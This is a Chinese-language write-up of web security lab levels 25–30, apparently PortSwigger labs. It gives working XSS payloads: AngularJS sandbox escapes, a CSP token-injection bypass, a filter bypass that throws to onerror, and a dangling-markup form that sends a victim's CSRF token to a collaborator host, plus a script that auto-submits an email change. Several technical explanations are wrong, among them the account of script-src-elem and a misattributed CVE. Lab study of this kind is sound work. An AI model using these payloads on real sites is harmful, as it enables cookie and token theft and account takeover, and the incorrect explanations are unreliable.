表达式执行,但是根据AngularJS 沙盒机制,这一题没法用像AngularJS 表达式中带有尖括号和双引号的 DOM XSS HTML 编码这样的方法直接用字符串写代码执行,需要用不通过字符串逃逸 AngularJS 沙盒的方式通关 payload
https://题目URL/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1通关。对于payload的解释
一、Payload 整体拆分
首先还原 URL 中的编码字符:%3d 是等号 = 的 URL 编码,还原后完整的 URL 参数部分为:
?search=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1我们可以将其拆分为 3 个核心部分,按执行逻辑依次解析:
1.第一部分:search=1
这是一个无实际攻击作用的占位参数,主要目的有两个:
- 满足目标 URL 的基本业务参数格式(避免因缺少必要参数被后端直接拦截,无法进入前端 AngularJS 解析流程);
- 作为后续恶意参数的分隔起始,让 AngularJS 能够正常识别后续的表达式内容,无实际攻击逻辑。
2.第二部分:
toString().constructor.prototype.charAt=[].join这是原型链污染步骤,也是为后续恶意代码执行铺路的关键准备工作,核心是「替换内置方法,绕过语法限制」: - 核心逻辑:修改
String原型对象上的charAt方法,将其替换为数组的join方法。 - 逐点通俗解释:
toString():任意数据类型调用该方法都会返回对应的字符串形式,这里是 AngularJS 表达式执行环境中默认可调用的方法,用于获取一个字符串实例。constructor:通过字符串实例的constructor属性,获取它的构造函数 —— 也就是String(前端内置的字符串构造函数)。prototype:访问String的原型对象(所有字符串实例都会继承原型上的方法和属性,charAt就是String原型上的内置方法,用于获取字符串指定位置的字符)。charAt=[].join:将String.prototype.charAt方法直接替换为[](空数组)的join方法(join方法默认将数组元素拼接为字符串,无参数时返回空字符串)。
- 为什么要做这个替换?
AngularJS 的表达式解析器有一些基础语法限制,直接执行后续恶意代码可能会触发语法错误导致执行失败。替换
charAt方法后,后续代码执行过程中如果调用到charAt,会实际执行join方法,从而绕过这些限制,让恶意表达式能够顺利执行。 3.第三部分:;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1这是整个 Payload 的核心攻击逻辑,利用 AngularJS 过滤器的特性执行恶意代码,最终实现 XSS,我们再拆分解析: - 先拆分核心子部分:
;[1]、|orderBy:、toString().constructor.fromCharCode(...)、=1;[1]:;是 JavaScript 中的语句分隔符,用于分隔前一个原型链污染的语句和当前的攻击语句。[1]构造了一个只有一个元素的简单数组,这个数组本身无实际意义,核心作用是「触发后续的orderBy过滤器」—— 因为orderBy是 AngularJS 的排序过滤器,仅对数组类型的数据生效,构造[1]就是为了满足orderBy的使用条件,让过滤器能够正常执行后续表达式。
|orderBy::|是 AngularJS 中的「管道符」,用于连接数据和过滤器,作用是将左侧的数据(这里是[1]数组)传入右侧的过滤器进行处理。orderBy是 AngularJS 内置的排序过滤器,原本的作用是对数组按照指定表达式进行排序。- 关键漏洞点:早期 AngularJS 1.x 版本中,
orderBy过滤器会直接执行其后跟随的表达式,且未对表达式执行做严格的沙箱限制(这是核心漏洞,如 CVE-2016-0636 等),攻击者正是利用这一点,将恶意代码写入orderBy后,让 AngularJS 自动执行。
toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41):- 这部分的核心是「构造恶意 JavaScript 代码字符串」,依赖
String.fromCharCode()这个内置静态方法。 - 重复利用
toString().constructor:和第二部分一样,最终获取到String构造函数。 fromCharCode(...):String的静态方法,作用是将传入的一系列 Unicode 编码值,转换为对应的字符串(每个数字对应一个 ASCII 字符 / Unicode 字符)。- 解码对应关系(关键):
- 这部分的核心是「构造恶意 JavaScript 代码字符串」,依赖
| Unicode 编码 | 对应字符 |
|---|---|
| 120 | x |
| 61 | = |
| 97 | a |
| 108 | l |
| 101 | e |
| 114 | r |
| 116 | t |
| 40 | ( |
| 49 | 1 |
| 41 | ) |
- 最终拼接结果:`x=alert(1)`。4. `=1`: - 这是一个辅助执行的赋值语句,将前面构造的 `x=alert(1)` 表达式最终赋值为 `1`。 - 作用:在 AngularJS 解析执行这个表达式时,赋值语句会先执行右侧的 `alert(1)`(这是 JavaScript 的执行特性),从而触发弹窗,实现 XSS 攻击的最终效果。二、核心攻击流程总结
- 铺垫:通过原型链污染替换
String.prototype.charAt方法,绕过 AngularJS 表达式解析的语法限制; - 触发:构造数组
[1]触发orderBy过滤器,利用过滤器的表达式执行漏洞; - 构造:通过
String.fromCharCode()将 Unicode 编码转为恶意代码x=alert(1); - 执行:通过赋值语句触发
alert(1)执行,完成 XSS 攻击 三、关键补充说明 - 该 Payload 仅对早期 AngularJS 1.x 版本(存在沙箱绕过 / 表达式注入漏洞)有效,新版本 AngularJS 已修复该类漏洞,Angular 2+ 版本(彻底重构)无此问题;
- 攻击的核心是「AngularJS 执行了外部传入的恶意表达式」,而非后端漏洞,属于前端 XSS 攻击的一种特殊场景;
alert(1)只是验证漏洞存在的演示,实际攻击中,攻击者可替换为窃取用户 Cookie、伪造操作等恶意代码。
第二十六关
利用 AngularJS 沙箱逃逸和 CSP 实现反射型 XSS 攻击
这次又有了Go to exploit server,跟第六关和第十四关联系一下稍微。搜索框开始攻击,F12查看代码,发现
<body ng-app ng-csp class="ng-scope">并且通过网络发现搜索是是GET请求,还可以看到
content-security-policydefault-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'可见使用了 AngularJS ,并且启用了 CSP (所有资源只能从本站加载,只能加载本站域名上的 JS 文件,不能执行内联 <script> 标签里的代码,也不能用 eval() 或 Function())
搜索框输入{{7*7}}发现返回了49,哟SSTI,存在AngularJS 模板注入,此时开始尝试逃逸沙盒。
?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x出现弹窗
解释
1.核心结构:注入恶意 HTML 元素
search= 后面是一个注入的 <input> 标签,这是攻击的载体:
<input id=x>:创建一个输入框,给它设置id=x(后续通过锚点#x触发焦点)。ng-focus=...:AngularJS 的事件指令,表示 “当输入框获得焦点时,执行后面的表达式”。 2.ng-focus里的攻击逻辑ng-focus后面是恶意 AngularJS 表达式,利用 AngularJS 漏洞执行代码:$event.composedPath():$event是 AngularJS 事件对象(这里对应focus事件);composedPath()是浏览器原生方法,返回事件传播路径的元素数组。- 作用:生成一个数组(因为
orderBy过滤器只对数组生效),为触发orderBy做准备。
|orderBy:'(z=alert)(document.cookie)':|是 AngularJS 的管道符,把前面的数组传给orderBy过滤器;orderBy是 AngularJS 排序过滤器,但早期版本会执行后面的表达式(漏洞点);(z=alert)(document.cookie):- 先把
alert赋值给变量z(规避语法限制); - 再调用
z(document.cookie),即执行alert(document.cookie)(弹出当前页面的 Cookie)。 3.末尾#x的作用 URL 末尾的#x是页面锚点,页面加载后会自动定位到id=x的输入框,触发ng-focus事件(无需用户手动点击输入框,自动执行恶意代码)。 但是本题需要我们在服务器构造payload发送给目标,也就是我们需要构造一个页面发送给目标,当目标点击链接后会自动跳转到漏洞页面,并执行我们构造的payload
- 先把
<script>location='题目URL/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';</script>去Go to exploit server,store然后deliver to victim,成功过关
第二十七关
反射型 XSS 攻击,事件处理程序和
href属性均被阻止
搜索框,开始攻击,发现”Tag is not allowed”,bp爆破,找出白名单标签a,animate,image,svg,title。然后测试可用的事件函数,发现所有事件被阻止,构造payload
题目URL/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E成功解决 解码
<svg> <a> <animate attributeName="href" values="javascript:alert(1)" /> <text x="20" y="20">点击我</text> </a></svg>SVG 提供了一个可插入其他元素的容器,<a> 标签用于定义可点击区域,配合 href 属性可以指定点击后的行为。<animate>定义动画效果,其属性 attributeName="href" 和 values="javascript:alert(1)" 分别用来指定动画作用的属性为 href 和设置动画的值为 javascript:alert(1),即点击时执行 JavaScript 脚本。<text> 标签在 SVG 中显示文本,提供用户可点击的文本提示
第二十八关
JavaScript URL 中部分字符被屏蔽的情况下的反射型 XSS 攻击
没有搜索框,去评论区。F12查看源码发现
<a href="javascript:fetch('/analytics',{method:'post',body:'/post#3fpostId%3d2'}).finally(()=>window.location='/')">Back to Blog</a>分析
<!-- 功能说明: 1. 定义一个显示为"Back to Blog"的超链接,点击后先执行内嵌JS逻辑,再跳转首页 2. 核心逻辑:通过javascript:伪协议调用fetch发送POST请求到/analytics接口,请求体为"/post#3fpostId%3d2" 3. finally()方法保证无论请求成功/失败,都会跳转到当前域名的首页(/) 安全隐患(重点警告): 4. 使用javascript:伪协议,是XSS(跨站脚本攻击)的典型高危场景 5. 若请求体或脚本内容来自用户输入且未验证,攻击者可注入恶意代码窃取Cookie、伪造用户操作 6. 可绕过部分前端安全防护,且执行过程对用户隐蔽,攻击成功率高 优化建议: 7. 优先采用后端接口重定向(无前端脚本风险) 8. 若需前端实现,应分离HTML结构与JS逻辑,使用事件绑定替代javascript:伪协议 9. 配置CSP内容安全策略,从根源禁止内联脚本和javascript:伪协议执行--><a href="javascript:fetch('/analytics',{method:'post',body:'/post#3fpostId%3d2'}).finally(()=>window.location='/')">Back to Blog</a>也就是说当点击 Back to Blog 时会执行JS代码,而url参数post是我们的可控参数,可以在此构造payload。经过测试发现 () ,/ ,空格 等被过滤,无法直接调用函数,需要间接调用,通过异常触发或类型转换触发函数
题目URL/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27成功解决 解码之后
?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''},:用于闭合前面被注入点的原有 JavaScript 代码结构(比如原有代码是拼接 URL 参数postId到一个对象 / 字符串中,'}闭合原有字符串和对象,,用于分隔表达式);x = x => { ... }:定义一个箭头函数,赋值给变量x;/**/:JavaScript 注释,仅用于分隔代码,不影响执行,目的是绕过部分简单的关键字过滤(比如过滤onerror=alert连写);throw onerror = alert, 1337:核心执行语句,利用逗号运算符和throw 语句的特性;toString = x:将变量x(箭头函数)赋值给Object.prototype.toString(或全局toString,取决于注入环境);window + '':触发类型转换,强制调用window对象的toString()方法;{x: ':用于补齐语法,掩盖注入痕迹,使后续原有代码不报错,保证整体脚本可执行。
第二十九关
反射型 XSS 攻击受到非常严格的 CSP 保护,但仍存在悬空标记攻击
这一关其实有点没懂,先按照思路理顺一遍 可用于借鉴的视频和文章
https://www.youtube.com/watch?v=hiHN2iTF9iM
https://medium.com/@hackllego/reflected-xss-protected-by-very-strict-csp-with-dangling-markup-attack-port-swigger-xss-lab-e8811c2e476d
https://blog.csdn.net/2301_79933930/article/details/150068762又有了go to exploit server,先使用给定的账号密码my account登陆,登陆之后发现email可以用来输入做修改,可做注入点。尝试闭合<input>和<form>标签,尝试修改表单并提交新的表单,通过这种方式窃取令牌
/my-account?email="></form><form class="login-form" name="evil-form" action="https://BURP-COLLABORATOR-SUBDOMAIN/token" method="GET"><button class="button" type="submit"> Click Me </button>将bp获取的payload替换上,enter之后点击Click Me,bp获得返回信息,可得到csrf=MhChaa9CqU8w6BVRGGVu0quRS83CtFZ7,成功窃取到目标的令牌。
抓包,先修改email为hacker@evil-user.net,右键单击该请求,然后从上下文菜单中选择“参与工具”,然后选择“生成 CSRF PoC”(可以一键生成可运行的 HTML 表单,比较方便)。弹出窗口会显示该请求及其生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为之前从受害者那里窃取的令牌。
然后将HTML复制到body区域,就可以了
- 这是一个思路,不过我最初在顺的时候没有成功,在最后CSRF HTML那里出了点差错,后边修正过来了 这里再借鉴别的博客的一个内容
<body><script>// Define the URLs for the lab environment and the exploit server.const academyFrontend = "目标URL";const exploitServer = "exploit页面URL/exploit";
// 从url中读取csrf tokenconst url = new URL(location);const csrf = url.searchParams.get('csrf');
// Check if a CSRF token was found in the URL.if (csrf) { // If a CSRF token is present, create dynamic form elements to perform the attack.动态创建表单 const form = document.createElement('form'); const email = document.createElement('input'); const token = document.createElement('input');
// Set the name and value of the CSRF token input to utilize the extracted token for bypassing security measures. token.name = 'csrf'; token.value = csrf;
// Configure the new email address intended to replace the user's current email. email.name = 'email'; email.value = 'hacker@evil-user.net';
// Set the form attributes, append the form to the document, and configure it to automatically submit.设置表单并自动提交 form.method = 'post'; form.action = `${academyFrontend}my-account/change-email`; form.append(email); form.append(token); document.documentElement.append(form); form.submit();
// If no CSRF token is present, redirect the browser to a crafted URL that embeds a clickable button designed to expose or generate a CSRF token by making the user trigger a GET request} else {//如果没有csrf token 先获得 location = `${academyFrontend}my-account?email=blah@blah%22%3E%3Cbutton+class=button%20formaction=${exploitServer}%20formmethod=get%20type=submit%3EClick%20me%3C/button%3E`;}</script></body>上述内容传到body,deliver exploit to victim就可以成功解决
第三十关
受 CSP 保护的反射型 XSS,以及 CSP 旁路攻击
这一关比上一关简略不少,搜索框,直接攻击,发现是GET请求方式,F12查看网络,?search=的那一条,标头里看到
content-security-policydefault-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=这一条CSP的整体约束较为严格:通过限制所有资源仅能从同源加载,最大限度阻断外部恶意资源(如 XSS 攻击注入的恶意脚本、恶意样式)的执行;通过 report-uri 收集违规行为日志,帮助开发者优化 CSP 配置(避免合法功能被误拦),同时监控潜在的安全攻击尝试。这样几乎封死了跨域和内联 XSS,只能从同源 JS 漏洞或 CSP 注入下手绕过,再回看这一条CSP,可以发现token 参数被直接拼接到 CSP 头部里,利用这一点构造payload绕过CSP限制
?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27成功解决 解码之后是
?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'前面url部分就是典型的XSS攻击,;后面就是CSP指令。
script-src-elem是 CSP(内容安全策略)中专门用于控制「外部加载的脚本元素」的指令,仅针对 HTML 中带有src属性的<script>标签(即外部脚本,例如<script src="https://example.com/script.js"></script>),负责约束这类脚本的加载来源和执行权限'unsafe-inline'是 CSP 中的内置关键字(必须用单引号包裹),核心含义是允许浏览器执行「内联脚本」 所以这两条指令组合在一起就是仅允许浏览器加载并执行「带有 src 属性的外部脚本」(无额外域名限制时,默认结合兜底规则),同时明确允许执行页面中的所有内联脚本(无src属性的<script>块、事件处理器等)